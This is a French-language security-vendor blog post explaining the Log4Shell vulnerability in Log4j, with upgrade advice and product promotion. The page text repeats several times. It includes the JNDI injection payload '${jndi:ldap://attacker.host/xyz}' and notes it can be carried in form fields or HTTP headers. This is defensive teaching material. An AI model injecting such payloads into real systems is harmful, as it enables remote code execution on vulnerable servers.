La vulnérabilité de Log4j expliquée - Son vecteur d'attaque et comment la prévenir
Le 9 décembre, une faille de 0 jour dans la bibliothèque Java Log4j a été divulguée. La CVE-44228, baptisée Log4Shell, a reçu une note de "gravité élevée" car l'exploit peut entraîner l'exécution de code à distance(RCE). En outre, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui met en danger des millions d'applications.
Vous souhaitez améliorer rapidement vos compétences en matière de Log4Shell ?
Nous avons construit une vitrine qui vous emmène de l'idée de base de Log4Shell à l'expérience de l'exploitation de cette vulnérabilité dans un simulateur appelé Mission. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut avoir un impact sur votre infrastructure et vos applications. Cliquez ici pour accéder directement à la présentation, ou continuez à lire pour en savoir plus sur la vulnérabilité en détail.
Des nouvelles anciennes ?
L'exploit n'est pas nouveau. Déjà dans leur conférence BlackHat de 2016, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh soulignaient que "les applications ne devraient pas effectuer de recherches JNDI avec des données non fiables", et illustraient comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est exactement ce qui se trouve au cœur de Log4Shell.
Vecteur d'attaque
La charge utile d'injection de Log4Shell ressemble à ceci :
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Ensuite, il y a JNDI, ou Java Naming and Directory Interface, qui est une API permettant de se connecter à des services utilisant des protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant un code malveillant, qui sera en retour exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal, et qu'il effectue des recherches dans toutes les entrées utilisateur enregistrées, écrites dans une syntaxe EL préfixée par "jndi". La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. En outre, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour vivre l'exploit vous-même, rendez-vous dans notre vitrine et passez à l'étape 2 - "L'impact de l'expérience".
Prévention : Sensibilisation
La mise à jour est recommandée pour toutes les applications, car Log4j a apporté des correctifs au code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient cependant un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est recommandé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris qu'il existe des risques liés à l'utilisation de frameworks ou de bibliothèques tiers. Nous devons être conscients du fait que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas faire grand-chose car les composants vulnérables sont introduits par des logiciels tiers. D'autre part, la leçon à tirer de cette affaire est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais faire confiance aux données saisies par l'utilisateur.
Secure Code Warrior estime que les développeurs soucieux de la sécurité sont le meilleur moyen de prévenir les vulnérabilités dans le code. Étant donné que SCW propose une formation à grande échelle spécifique au cadre de programmation, les entreprises clientes ont été en mesure de localiser rapidement les développeurs Java concernés en utilisant les données des rapports. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour faire respecter les règles de codage et pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos livres de recettes prêts à l'emploi. Parcourez nos recettes, et n'oubliez pas de télécharger notre livre de recettes Log4j qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.
Améliorez vos compétences en matière de défense contre Log4Shell
Vous souhaitez mettre en pratique ce que vous avez appris dans cet article de blog ? Notre démonstration peut vous aider. Au début de la présentation, vous aurez un bref aperçu de cette vulnérabilité, puis vous serez emmené dans un environnement simulé où vous pourrez essayer l'exploit à l'aide d'instructions guidées.
En décembre 2021, une vulnérabilité de sécurité critique Log4Shell a été divulguée dans la bibliothèque Java Log4j. Dans cet article, nous décomposons la vulnérabilité Log4Shell dans la forme la plus simple pour que vous puissiez en saisir les bases et nous vous présentons une mission - un terrain de jeu où vous pouvez essayer d'exploiter un site web simulé en utilisant la connaissance de cette vulnérabilité.
Secure Code Warrior est là pour vous aider à sécuriser le code tout au long du cycle de vie du développement logiciel et à créer une culture dans laquelle la cybersécurité est une priorité. Que vous soyez responsable AppSec, développeur, CISO ou toute autre personne impliquée dans la sécurité, nous pouvons aider votre organisation à réduire les risques associés à un code non sécurisé.
Réservez une démonstration
Laura Verheyde est développeuse de logiciels à l'adresse Secure Code Warrior . Elle se consacre à la recherche de vulnérabilités et à la création de contenu pour Missions et Coding labs.
Le 9 décembre, une faille de 0 jour dans la bibliothèque Java Log4j a été divulguée. La CVE-44228, baptisée Log4Shell, a reçu une note de "gravité élevée" car l'exploit peut entraîner l'exécution de code à distance(RCE). En outre, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui met en danger des millions d'applications.
Vous souhaitez améliorer rapidement vos compétences en matière de Log4Shell ?
Nous avons construit une vitrine qui vous emmène de l'idée de base de Log4Shell à l'expérience de l'exploitation de cette vulnérabilité dans un simulateur appelé Mission. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut avoir un impact sur votre infrastructure et vos applications. Cliquez ici pour accéder directement à la présentation, ou continuez à lire pour en savoir plus sur la vulnérabilité en détail.
Des nouvelles anciennes ?
L'exploit n'est pas nouveau. Déjà dans leur conférence BlackHat de 2016, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh soulignaient que "les applications ne devraient pas effectuer de recherches JNDI avec des données non fiables", et illustraient comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est exactement ce qui se trouve au cœur de Log4Shell.
Vecteur d'attaque
La charge utile d'injection de Log4Shell ressemble à ceci :
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Ensuite, il y a JNDI, ou Java Naming and Directory Interface, qui est une API permettant de se connecter à des services utilisant des protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant un code malveillant, qui sera en retour exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal, et qu'il effectue des recherches dans toutes les entrées utilisateur enregistrées, écrites dans une syntaxe EL préfixée par "jndi". La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. En outre, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour vivre l'exploit vous-même, rendez-vous dans notre vitrine et passez à l'étape 2 - "L'impact de l'expérience".
Prévention : Sensibilisation
La mise à jour est recommandée pour toutes les applications, car Log4j a apporté des correctifs au code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient cependant un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est recommandé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris qu'il existe des risques liés à l'utilisation de frameworks ou de bibliothèques tiers. Nous devons être conscients du fait que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas faire grand-chose car les composants vulnérables sont introduits par des logiciels tiers. D'autre part, la leçon à tirer de cette affaire est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais faire confiance aux données saisies par l'utilisateur.
Secure Code Warrior estime que les développeurs soucieux de la sécurité sont le meilleur moyen de prévenir les vulnérabilités dans le code. Étant donné que SCW propose une formation à grande échelle spécifique au cadre de programmation, les entreprises clientes ont été en mesure de localiser rapidement les développeurs Java concernés en utilisant les données des rapports. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour faire respecter les règles de codage et pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos livres de recettes prêts à l'emploi. Parcourez nos recettes, et n'oubliez pas de télécharger notre livre de recettes Log4j qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.
Améliorez vos compétences en matière de défense contre Log4Shell
Vous souhaitez mettre en pratique ce que vous avez appris dans cet article de blog ? Notre démonstration peut vous aider. Au début de la présentation, vous aurez un bref aperçu de cette vulnérabilité, puis vous serez emmené dans un environnement simulé où vous pourrez essayer l'exploit à l'aide d'instructions guidées.
Le 9 décembre, une faille de 0 jour dans la bibliothèque Java Log4j a été divulguée. La CVE-44228, baptisée Log4Shell, a reçu une note de "gravité élevée" car l'exploit peut entraîner l'exécution de code à distance(RCE). En outre, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui met en danger des millions d'applications.
Vous souhaitez améliorer rapidement vos compétences en matière de Log4Shell ?
Nous avons construit une vitrine qui vous emmène de l'idée de base de Log4Shell à l'expérience de l'exploitation de cette vulnérabilité dans un simulateur appelé Mission. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut avoir un impact sur votre infrastructure et vos applications. Cliquez ici pour accéder directement à la présentation, ou continuez à lire pour en savoir plus sur la vulnérabilité en détail.
Des nouvelles anciennes ?
L'exploit n'est pas nouveau. Déjà dans leur conférence BlackHat de 2016, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh soulignaient que "les applications ne devraient pas effectuer de recherches JNDI avec des données non fiables", et illustraient comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est exactement ce qui se trouve au cœur de Log4Shell.
Vecteur d'attaque
La charge utile d'injection de Log4Shell ressemble à ceci :
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Ensuite, il y a JNDI, ou Java Naming and Directory Interface, qui est une API permettant de se connecter à des services utilisant des protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant un code malveillant, qui sera en retour exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal, et qu'il effectue des recherches dans toutes les entrées utilisateur enregistrées, écrites dans une syntaxe EL préfixée par "jndi". La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. En outre, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour vivre l'exploit vous-même, rendez-vous dans notre vitrine et passez à l'étape 2 - "L'impact de l'expérience".
Prévention : Sensibilisation
La mise à jour est recommandée pour toutes les applications, car Log4j a apporté des correctifs au code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient cependant un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est recommandé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris qu'il existe des risques liés à l'utilisation de frameworks ou de bibliothèques tiers. Nous devons être conscients du fait que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas faire grand-chose car les composants vulnérables sont introduits par des logiciels tiers. D'autre part, la leçon à tirer de cette affaire est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais faire confiance aux données saisies par l'utilisateur.
Secure Code Warrior estime que les développeurs soucieux de la sécurité sont le meilleur moyen de prévenir les vulnérabilités dans le code. Étant donné que SCW propose une formation à grande échelle spécifique au cadre de programmation, les entreprises clientes ont été en mesure de localiser rapidement les développeurs Java concernés en utilisant les données des rapports. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour faire respecter les règles de codage et pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos livres de recettes prêts à l'emploi. Parcourez nos recettes, et n'oubliez pas de télécharger notre livre de recettes Log4j qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.
Améliorez vos compétences en matière de défense contre Log4Shell
Vous souhaitez mettre en pratique ce que vous avez appris dans cet article de blog ? Notre démonstration peut vous aider. Au début de la présentation, vous aurez un bref aperçu de cette vulnérabilité, puis vous serez emmené dans un environnement simulé où vous pourrez essayer l'exploit à l'aide d'instructions guidées.
Cliquez sur le lien ci-dessous et téléchargez le PDF de cette ressource.
Secure Code Warrior est là pour vous aider à sécuriser le code tout au long du cycle de vie du développement logiciel et à créer une culture dans laquelle la cybersécurité est une priorité. Que vous soyez responsable AppSec, développeur, CISO ou toute autre personne impliquée dans la sécurité, nous pouvons aider votre organisation à réduire les risques associés à un code non sécurisé.
Voir le rapportRéservez une démonstration
Laura Verheyde est développeuse de logiciels à l'adresse Secure Code Warrior . Elle se consacre à la recherche de vulnérabilités et à la création de contenu pour Missions et Coding labs.
Le 9 décembre, une faille de 0 jour dans la bibliothèque Java Log4j a été divulguée. La CVE-44228, baptisée Log4Shell, a reçu une note de "gravité élevée" car l'exploit peut entraîner l'exécution de code à distance(RCE). En outre, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui met en danger des millions d'applications.
Vous souhaitez améliorer rapidement vos compétences en matière de Log4Shell ?
Nous avons construit une vitrine qui vous emmène de l'idée de base de Log4Shell à l'expérience de l'exploitation de cette vulnérabilité dans un simulateur appelé Mission. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut avoir un impact sur votre infrastructure et vos applications. Cliquez ici pour accéder directement à la présentation, ou continuez à lire pour en savoir plus sur la vulnérabilité en détail.
Des nouvelles anciennes ?
L'exploit n'est pas nouveau. Déjà dans leur conférence BlackHat de 2016, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh soulignaient que "les applications ne devraient pas effectuer de recherches JNDI avec des données non fiables", et illustraient comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est exactement ce qui se trouve au cœur de Log4Shell.
Vecteur d'attaque
La charge utile d'injection de Log4Shell ressemble à ceci :
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Ensuite, il y a JNDI, ou Java Naming and Directory Interface, qui est une API permettant de se connecter à des services utilisant des protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant un code malveillant, qui sera en retour exécuté sur le serveur vulnérable.
Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal, et qu'il effectue des recherches dans toutes les entrées utilisateur enregistrées, écrites dans une syntaxe EL préfixée par "jndi". La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. En outre, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.
Pour vivre l'exploit vous-même, rendez-vous dans notre vitrine et passez à l'étape 2 - "L'impact de l'expérience".
Prévention : Sensibilisation
La mise à jour est recommandée pour toutes les applications, car Log4j a apporté des correctifs au code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient cependant un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est recommandé de passer à la version 2.17.0.
En tant que développeurs qui écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris qu'il existe des risques liés à l'utilisation de frameworks ou de bibliothèques tiers. Nous devons être conscients du fait que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres.
Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas faire grand-chose car les composants vulnérables sont introduits par des logiciels tiers. D'autre part, la leçon à tirer de cette affaire est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais faire confiance aux données saisies par l'utilisateur.
Secure Code Warrior estime que les développeurs soucieux de la sécurité sont le meilleur moyen de prévenir les vulnérabilités dans le code. Étant donné que SCW propose une formation à grande échelle spécifique au cadre de programmation, les entreprises clientes ont été en mesure de localiser rapidement les développeurs Java concernés en utilisant les données des rapports. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.
Pour les développeurs Java en particulier, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour faire respecter les règles de codage et pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos livres de recettes prêts à l'emploi. Parcourez nos recettes, et n'oubliez pas de télécharger notre livre de recettes Log4j qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.
Améliorez vos compétences en matière de défense contre Log4Shell
Vous souhaitez mettre en pratique ce que vous avez appris dans cet article de blog ? Notre démonstration peut vous aider. Au début de la présentation, vous aurez un bref aperçu de cette vulnérabilité, puis vous serez emmené dans un environnement simulé où vous pourrez essayer l'exploit à l'aide d'instructions guidées.
Table des matières
Secure Code Warrior est là pour vous aider à sécuriser le code tout au long du cycle de vie du développement logiciel et à créer une culture dans laquelle la cybersécurité est une priorité. Que vous soyez responsable AppSec, développeur, CISO ou toute autre personne impliquée dans la sécurité, nous pouvons aider votre organisation à réduire les risques associés à un code non sécurisé.
Réservez une démonstrationTéléchargerRessources pour vous aider à démarrer
Évaluation comparative des compétences en matière de sécurité : Rationalisation de la conception sécurisée dans l'entreprise
Le mouvement "Secure-by-Design" (conception sécurisée) est l'avenir du développement de logiciels sécurisés. Découvrez les éléments clés que les entreprises doivent garder à l'esprit lorsqu'elles envisagent une initiative de conception sécurisée.
DigitalOcean réduit sa dette de sécurité avec Secure Code Warrior
L'utilisation par DigitalOcean de la formation Secure Code Warrior a considérablement réduit la dette de sécurité, permettant aux équipes de se concentrer davantage sur l'innovation et la productivité. L'amélioration de la sécurité a renforcé la qualité des produits et l'avantage concurrentiel de l'entreprise. À l'avenir, le score de confiance SCW les aidera à améliorer leurs pratiques de sécurité et à continuer à stimuler l'innovation.
Ressources pour vous aider à démarrer
Sécurité réactive contre sécurité préventive : La prévention est un meilleur remède
L'idée d'apporter une sécurité préventive aux codes et systèmes existants en même temps qu'aux applications plus récentes peut sembler décourageante, mais une approche "Secure-by-Design", mise en œuvre en améliorant les compétences des développeurs, permet d'appliquer les meilleures pratiques de sécurité à ces systèmes. C'est la meilleure chance qu'ont de nombreuses organisations d'améliorer leur sécurité.
.png)
Les avantages de l'évaluation des compétences des développeurs en matière de sécurité
L'importance croissante accordée au code sécurisé et aux principes de conception sécurisée exige que les développeurs soient formés à la cybersécurité dès le début du cycle de développement durable, et que des outils tels que le Trust Score de Secure Code Warriorles aident à mesurer et à améliorer leurs progrès.
Assurer le succès des initiatives de conception sécurisée de l'entreprise
Notre dernier document de recherche, Benchmarking Security Skills : Streamlining Secure-by-Design in the Enterprise est le résultat d'une analyse approfondie d'initiatives réelles de conception sécurisée au niveau de l'entreprise, et de l'élaboration d'approches de meilleures pratiques basées sur des conclusions fondées sur des données.
Plongée en profondeur : Naviguer dans la vulnérabilité critique de CUPS dans les systèmes GNU-Linux
Découvrez les derniers défis de sécurité auxquels sont confrontés les utilisateurs de Linux en explorant les récentes vulnérabilités de haute sévérité dans le système d'impression commun d'UNIX (CUPS). Apprenez comment ces problèmes peuvent conduire à une potentielle exécution de code à distance (RCE) et ce que vous pouvez faire pour protéger vos systèmes.
